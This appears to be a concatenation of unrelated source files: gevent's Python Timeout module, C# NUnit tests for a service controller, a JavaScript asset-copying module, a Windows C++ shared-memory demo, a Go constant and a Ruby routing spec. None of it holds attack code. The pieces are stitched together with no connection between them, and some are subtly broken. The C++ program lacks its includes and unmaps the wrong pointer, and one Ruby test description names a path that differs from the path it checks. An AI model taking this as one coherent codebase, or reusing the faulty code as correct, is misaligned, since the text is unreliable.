from gevent.hub import getcurrent, _NONE, get_hub, string_types

__all__ = ['Timeout',
           'with_timeout']

class _FakeTimer(object):
    # An object that mimics the API of get_hub().loop.timer, but
    # without allocating any native resources. This is useful for timeouts
    # that will never expire.
    # Also partially mimics the API of Timeout itself for use in _start_new_or_dummy
    pending = False
    active = False

    def start(self, *args, **kwargs):
        raise AssertionError("non-expiring timer cannot be started")

    def stop(self):
        return

    def cancel(self):
        return

_FakeTimer = _FakeTimer()

class Timeout(BaseException):
    """
    Raise *exception* in the current greenlet after given time period::

        timeout = Timeout(seconds, exception)
        timeout.start()
        try:
            ...  # exception will be raised here, after *seconds* passed since start() call
        finally:
            timeout.cancel()

    .. note:: If the code that the timeout was protecting finishes
       executing before the timeout elapses, be sure to ``cancel`` the
       timeout so it is not unexpectedly raised in the future. Even if
       it is raised, it is a best practice to cancel it. This
       ``try/finally`` construct or a ``with`` statement is a
       recommended pattern.

    When *exception* is omitted or ``None``, the :class:`Timeout` instance itself is raised:

        >>> import gevent
        >>> gevent.Timeout(0.1).start()
        >>> gevent.sleep(0.2)  #doctest: +IGNORE_EXCEPTION_DETAIL
        Traceback (most recent call last):
         ...
        Timeout: 0.1 seconds

    To simplify starting and canceling timeouts, the ``with`` statement can be used::

        with gevent.Timeout(seconds, exception) as timeout:
            pass  # ... code block ...

    This is equivalent to the try/finally block above with one additional feature:
    if *exception* is the literal ``False``, the timeout is still raised, but the context manager
    suppresses it, so the code outside the with-block won't see it.

    This is handy for adding a timeout to the functions that don't
    support a *timeout* parameter themselves::

        data = None
        with gevent.Timeout(5, False):
            data = mysock.makefile().readline()
        if data is None:
            ...  # 5 seconds passed without reading a line
        else:
            ...  # a line was read within 5 seconds

    .. caution:: If ``readline()`` above catches and doesn't re-raise :class:`BaseException`
       (for example, with a bare ``except:``), then your timeout will fail to function and control
       won't be returned to you when you expect.

    When catching timeouts, keep in mind that the one you catch may
    not be the one you have set (a calling function may have set its
    own timeout); if you going to silence a timeout, always check that
    it's the instance you need::

        timeout = Timeout(1)
        timeout.start()
        try:
            ...
        except Timeout as t:
            if t is not timeout:
                raise # not my timeout

    If the *seconds* argument is not given or is ``None`` (e.g.,
    ``Timeout()``), then the timeout will never expire and never raise
    *exception*. This is convenient for creating functions which take
    an optional timeout parameter of their own. (Note that this is not the same thing
    as a *seconds* value of 0.)

    .. caution::
       A *seconds* value less than 0.0 (e.g., -1) is poorly defined. In the future,
       support for negative values is likely to do the same thing as a value
       if ``None``.

    .. versionchanged:: 1.1b2
       If *seconds* is not given or is ``None``, no longer allocate a libev
       timer that will never be started.
    .. versionchanged:: 1.1
       Add warning about negative *seconds* values.
    """

    def __init__(self, seconds=None, exception=None, ref=True, priority=-1):
        BaseException.__init__(self)
        self.seconds = seconds
        self.exception = exception
        if seconds is None:
            # Avoid going through the timer codepath if no timeout is
            # desired; this avoids some CFFI interactions on PyPy that can lead to a
            # RuntimeError if this implementation is used during an `import` statement. See
            # https://bitbucket.org/pypy/pypy/issues/2089/crash-in-pypy-260-linux64-with-gevent-11b1
            # and https://github.com/gevent/gevent/issues/618.
            # Plus, in general, it should be more efficient
            self.timer = _FakeTimer
        else:
            self.timer = get_hub().loop.timer(seconds or 0.0, ref=ref, priority=priority)

    def start(self):
        """Schedule the timeout."""
        assert not self.pending, '%r is already started; to restart it, cancel it first' % self
        if self.seconds is None:  # "fake" timeout (never expires)
            return

        if self.exception is None or self.exception is False or isinstance(self.exception, string_types):
            # timeout that raises self
            self.timer.start(getcurrent().throw, self)
        else:  # regular timeout with user-provided exception
            self.timer.start(getcurrent().throw, self.exception)

    @classmethod
    def start_new(cls, timeout=None, exception=None, ref=True):
        """Create a started :class:`Timeout`.

        This is a shortcut, the exact action depends on *timeout*'s type:

        * If *timeout* is a :class:`Timeout`, then call its :meth:`start` method
          if it's not already begun.
        * Otherwise, create a new :class:`Timeout` instance, passing (*timeout*, *exception*) as
          arguments, then call its :meth:`start` method.

        Returns the :class:`Timeout` instance.
        """
        if isinstance(timeout, Timeout):
            if not timeout.pending:
                timeout.start()
            return timeout
        timeout = cls(timeout, exception, ref=ref)
        timeout.start()
        return timeout

    @staticmethod
    def _start_new_or_dummy(timeout, exception=None):
        # Internal use only in 1.1
        # Return an object with a 'cancel' method; if timeout is None,
        # this will be a shared instance object that does nothing. Otherwise,
        # return an actual Timeout. Because negative values are hard to reason about,
        # and are often used as sentinels in Python APIs, in the future it's likely
        # that a negative timeout will also return the shared instance.
        # This saves the previously common idiom of 'timer = Timeout.start_new(t) if t is not None else None'
        # followed by 'if timer is not None: timer.cancel()'.
        # That idiom was used to avoid any object allocations.
        # A staticmethod is slightly faster under CPython, compared to a classmethod;
        # under PyPy in synthetic benchmarks it makes no difference.
        if timeout is None:
            return _FakeTimer
        return Timeout.start_new(timeout, exception)

    @property
    def pending(self):
        """Return True if the timeout is scheduled to be raised."""
        return self.timer.pending or self.timer.active

    def cancel(self):
        """If the timeout is pending, cancel it. Otherwise, do nothing."""
        self.timer.stop()

    def __repr__(self):
        classname = type(self).__name__
        if self.pending:
            pending = ' pending'
        else:
            pending = ''
        if self.exception is None:
            exception = ''
        else:
            exception = ' exception=%r' % self.exception
        return '<%s at %s seconds=%s%s%s>' % (classname, hex(id(self)), self.seconds, exception, pending)

    def __str__(self):
        """
        >>> raise Timeout #doctest: +IGNORE_EXCEPTION_DETAIL
        Traceback (most recent call last):
            ...
        Timeout
        """
        if self.seconds is None:
            return ''

        suffix = '' if self.seconds == 1 else 's'

        if self.exception is None:
            return '%s second%s' % (self.seconds, suffix)
        if self.exception is False:
            return '%s second%s (silent)' % (self.seconds, suffix)
        return '%s second%s: %s' % (self.seconds, suffix, self.exception)

    def __enter__(self):
        if not self.pending:
            self.start()
        return self

    def __exit__(self, typ, value, tb):
        self.cancel()
        if value is self and self.exception is False:
            return True

def with_timeout(seconds, function, *args, **kwds):
    """Wrap a call to *function* with a timeout; if the called
    function fails to return before the timeout, cancel it and return a
    flag value, provided by *timeout_value* keyword argument.

    If timeout expires but *timeout_value* is not provided, raise :class:`Timeout`.

    Keyword argument *timeout_value* is not passed to *function*.
    """
    timeout_value = kwds.pop("timeout_value", _NONE)
    timeout = Timeout.start_new(seconds)
    try:
        try:
            return function(*args, **kwds)
        except Timeout as ex:
            if ex is timeout and timeout_value is not _NONE:
                return timeout_value
            raise
    finally:
        timeout.cancel()


text:
#region Copyright
// Copyright 2014 Myrcon Pty. Ltd.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#endregion
using System;
using NUnit.Framework;

namespace Potato.Service.Shared.Test.TestServiceController {
    [TestFixture]
    public class TestConstructor {
        /// <summary>
        /// Tests that when creating a new service controllerit will enable the appdomain monitoring
        /// </summary>
        [Test]
        public void TestMonitoringIsEnabled() {
            var service = new ServiceController();

            Assert.IsTrue(AppDomain.MonitoringIsEnabled);

            service.Dispose();
        }

        /// <summary>
        /// Tests the constructor initalizes the public properties of the controller
        /// </summary>
        [Test]
        public void TestNonNullProperties() {
            var service = new ServiceController();

            Assert.IsNotNull(service.Observer);
            Assert.IsNotNull(service.Polling);
            Assert.IsNotNull(service.WriteConfig);
            Assert.IsNotNull(service.Arguments);
            Assert.IsNotNull(service.Settings);
            Assert.IsNotNull(service.Packages);

            service.Dispose();
        }

        /// <summary>
        /// Ensures the initial service loader proxy type
        /// </summary>
        [Test]
        public void TestServiceProxyType() {
            var service = new ServiceController();

            Assert.AreEqual(typeof(ServiceLoaderProxy), service.ServiceLoaderProxyType);

            service.Dispose();
        }

        /// <summary>
        /// Ensures the initial service state is stopped
        /// </summary>
        [Test]
        public void TestInitalServiceStateIsStopped() {
            var service = new ServiceController();

            Assert.AreEqual(ServiceStatusType.Stopped, service.Observer.Status);

            service.Dispose();
        }
    }
}


text:
/**
 * Module dependencies.
 */
var kerouac = require('../index')
  , path = require('path')
  , diveSync = require('diveSync')
  , copy = require('../middleware/copy');

exports = module.exports = function(dir) {
  dir = dir || 'assets';

  var site = kerouac();

  site.page('/*', copy(dir));

  site.bind(function() {
    var self = this
      , adir = path.resolve(dir)
      , rfile;

    diveSync(adir, function(err, file) {
      if (err) { throw err; }

      rfile = path.relative(adir, file);
      self.add('/' + rfile);
    });
  });

  return site;
}


text:
using namespace std;

const int PAGE_SIZE=4096;
const int N_PAGES=4;

int main() {
	HANDLE hSem;
	HANDLE hMapFile;
	SECURITY_ATTRIBUTES sAttr;

	STARTUPINFO stInfo;
	PROCESS_INFORMATION pInfo;
	char strCmd[] = "MemSort.exe";

	int *pVirtAlloc;
	int *pBuf;
	int nEl;
	int i;

	sAttr.bInheritHandle = TRUE;
	sAttr.lpSecurityDescriptor = NULL;
	sAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
	hSem = CreateSemaphore(&sAttr,0,1,"sem");
	if(hSem) {
		printf("[MemShare] Successfully created semaphore\n");
	} else {
		fprintf(stderr, "[MemShare] Failed to create semaphore %d\n",GetLastError());
		_getch();
		exit(-1);
	}

	ZeroMemory(&stInfo,sizeof(STARTUPINFO));
	if(CreateProcess(NULL,strCmd,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&stInfo,&pInfo)) {
		printf("[MemShare] Successfully created process\n");
	} else {
		fprintf(stderr,"[MemShare] Failed to create process %d\n",GetLastError());
		_getch();
		exit(-1);
	}

	pVirtAlloc = (int*) VirtualAlloc(NULL,PAGE_SIZE*N_PAGES,MEM_COMMIT,PAGE_READWRITE);
	if(pVirtAlloc) {
		printf("[MemShare] Successfully allocated memory\n");
	} else {
		fprintf(stderr,"[MemShare] Failed to allocate memory %d\n",GetLastError());
		_getch();
		exit(-1);
	}

	nEl = (PAGE_SIZE*N_PAGES)/sizeof(int);

	srand(time(0));
	for(i=0; i<nEl; ++i) {
		pVirtAlloc[i] = rand() % 30000;
	}
	printf("[MemShare] Successfully filled array\n");

	VirtualProtect(pVirtAlloc,PAGE_SIZE*N_PAGES,PAGE_READONLY,NULL);

	hMapFile = CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,PAGE_SIZE*N_PAGES,"file");
	if(hMapFile) {
		printf("[MemShare] Successfully created file mapping\n");
	} else {
		fprintf(stderr,"[MemShare] Failed to create file mapping %d\n",GetLastError());
		_getch();
		exit(-1);
	}

	pBuf = (int*) MapViewOfFile(hMapFile,FILE_MAP_ALL_ACCESS,0,0,PAGE_SIZE*N_PAGES);
	if(pBuf) {
		printf("[MemShare] Successfully mapped file to memory\n");
	} else {
		fprintf(stderr,"[MemShare] Failed to map file to memory %d\n",GetLastError());
		_getch();
		exit(-1);
	}

	CopyMemory(pBuf,pVirtAlloc,PAGE_SIZE*N_PAGES);

	ReleaseSemaphore(hSem, 1, NULL);
	printf("[MemShare] Released semaphore\n");
	Sleep(50);
	WaitForSingleObject(hSem, INFINITE);
	printf("[MemShare] Got semaphore\n");

	VirtualProtect(pVirtAlloc,PAGE_SIZE*N_PAGES,PAGE_READWRITE,NULL);

	CopyMemory(pVirtAlloc,pBuf,PAGE_SIZE*N_PAGES);

	printf("[MemShare] Resulted array is:\n");
	for(i=0; i<nEl; ++i) {
		printf("%5d ", pVirtAlloc[i]);
	}
	printf("\n");

	UnmapViewOfFile(pVirtAlloc);
	VirtualFree(pVirtAlloc,PAGE_SIZE*N_PAGES,MEM_RELEASE);

	CloseHandle(hSem);
	CloseHandle(hMapFile);
	CloseHandle(pInfo.hThread);
	CloseHandle(pInfo.hProcess);

	printf("[MemShare] Exiting!\n");
	_getch();
	return 0;
}


text:
package colog

const ioctlReadTermios = 0x5401


text:
require File.dirname(__FILE__) + '/../spec_helper'

describe CommentsController do

  describe "route generation" do

    it "should map { :controller => 'comments', :action => 'index', :event_id => '1' } to /events/1/comments" do
      route_for(:controller => "comments", :action => "index", :event_id => "1").should == "/events/1/comments"
    end

    it "should map { :controller => 'comments', :action => 'new', :event_id => '1' } to /events/1/comments/new" do
      route_for(:controller => "comments", :action => "new", :event_id => "1").should == "/events/1/comments/new"
    end

    it "should map { :controller => 'comments', :action => 'show', :id => 1, :event_id => '1' } to /events/1/comments/1" do
      route_for(:controller => "comments", :action => "show", :id => 1, :event_id => "1").should == "/events/1/comments/1"
    end

    it "should map { :controller => 'comments', :action => 'edit', :id => 1, :event_id => '1' } to /events/comments/1/edit" do
      route_for(:controller => "comments", :action => "edit", :id => 1, :event_id => "1").should == "/events/1/comments/1/edit"
    end

    it "should map { :controller => 'comments', :action => 'update', :id => 1, :event_id => '1' } to /events/1/comments/1" do
      route_for(:controller => "comments", :action => "update", :id => 1, :event_id => "1").should == "/events/1/comments/1"
    end

    it "should map { :controller => 'comments', :action => 'destroy', :id => 1, :event_id => '1' } to /events/1/comments/1" do
      route_for(:controller => "comments", :action => "destroy", :id => 1, :event_id => "1").should == "/events/1/comments/1"
    end

    it "should map { :controller => 'comments', :action => 'delete', :id => 1, :event_id => '1' } to /events/1/comments/1/delete" do
      route_for(:controller => "comments", :action => "delete", :id => 1, :event_id => "1").should == "/events/1/comments/1/delete"
    end

  end

  describe "route recognition" do

    it "should generate params { :controller => 'comments', action => 'index', :event_id => '1'  } from GET /events/1/comments" do
      params_from(:get, "/events/1/comments").should == {:controller => "comments", :action => "index", :event_id => "1"}
    end

    it "should generate params { :controller => 'comments', action => 'new', :event_id => '1'  } from GET /events/1/comments/new" do
      params_from(:get, "/events/1/comments/new").should == {:controller => "comments", :action => "new", :event_id => "1"}
    end

    it "should generate params { :controller => 'comments', action => 'create', :event_id => '1'  } from POST /events/1/comments" do
      params_from(:post, "/events/1/comments").should == {:controller => "comments", :action => "create", :event_id => "1"}
    end

    it "should generate params { :controller => 'comments', action => 'show', id => '1', :event_id => '1'  } from GET /events/1/comments/1" do
      params_from(:get, "/events/1/comments/1").should == {:controller => "comments", :action => "show", :id => "1", :event_id => "1"}
    end

    it "should generate params { :controller => 'comments', action => 'edit', id => '1', :event_id => '1'  } from GET /events/1/comments/1/edit" do
      params_from(:get, "/events/1/comments/1/edit").should == {:controller => "comments", :action => "edit", :id => "1", :event_id => "1"}
    end

    it "should generate params { :controller => 'comments', action => 'update', id => '1', :event_id => '1'  } from PUT /events/1/comments/1" do
      params_from(:put, "/events/1/comments/1").should == {:controller => "comments", :action => "update", :id => "1", :event_id => "1"}
    end

    it "should generate params { :controller => 'comments', action => 'destroy', id => '1', :event_id => '1'  } from DELETE /events/1/comments/1" do
      params_from(:delete, "/events/1/comments/1").should == {:controller => "comments", :action => "destroy", :id => "1", :event_id => "1"}
    end

    it "should generate params { :controller => 'comments', action => 'delete', id => '1', :event_id => '1' } from GET /events/1/comments/1/delete" do
      params_from(:get, "/events/1/comments/1/delete").should == {:controller => "comments", :action => "delete", :id => "1", :event_id => "1"}
    end

  end

end